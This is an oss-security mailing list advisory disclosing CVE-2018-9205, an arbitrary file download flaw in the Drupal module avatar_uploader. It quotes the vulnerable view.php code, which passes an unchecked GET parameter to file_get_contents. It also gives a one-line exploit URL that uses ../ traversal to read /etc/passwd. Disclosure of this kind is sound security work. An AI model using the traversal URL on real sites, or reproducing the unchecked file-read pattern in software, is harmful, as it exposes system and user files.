oss-security - Arbitrary file download vulnerability in Drupal module avatar

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Message-id: <3B4F690F-2918-4282-BEBE-E163F07D205F@me.com>
Date: Thu, 12 Apr 2018 08:28:15 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Arbitrary file download vulnerability in Drupal module avatar_uploader
 v7.x-1.0-beta8

Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
Author: Larry W. Cashdollar
Date: 2018-03-30
CVE-ID:[CVE-2018-9205]
Download Site: https://www.drupal.org/project/avatar_uploader
Vendor: https://www.drupal.org/u/robbinzhao
Vendor Notified: 2018-04-02
Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
Advisory: http://www.vapidlabs.com/advisory.php?v=202
Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
Vulnerability:
The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;

Exploit Code:
	• http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd

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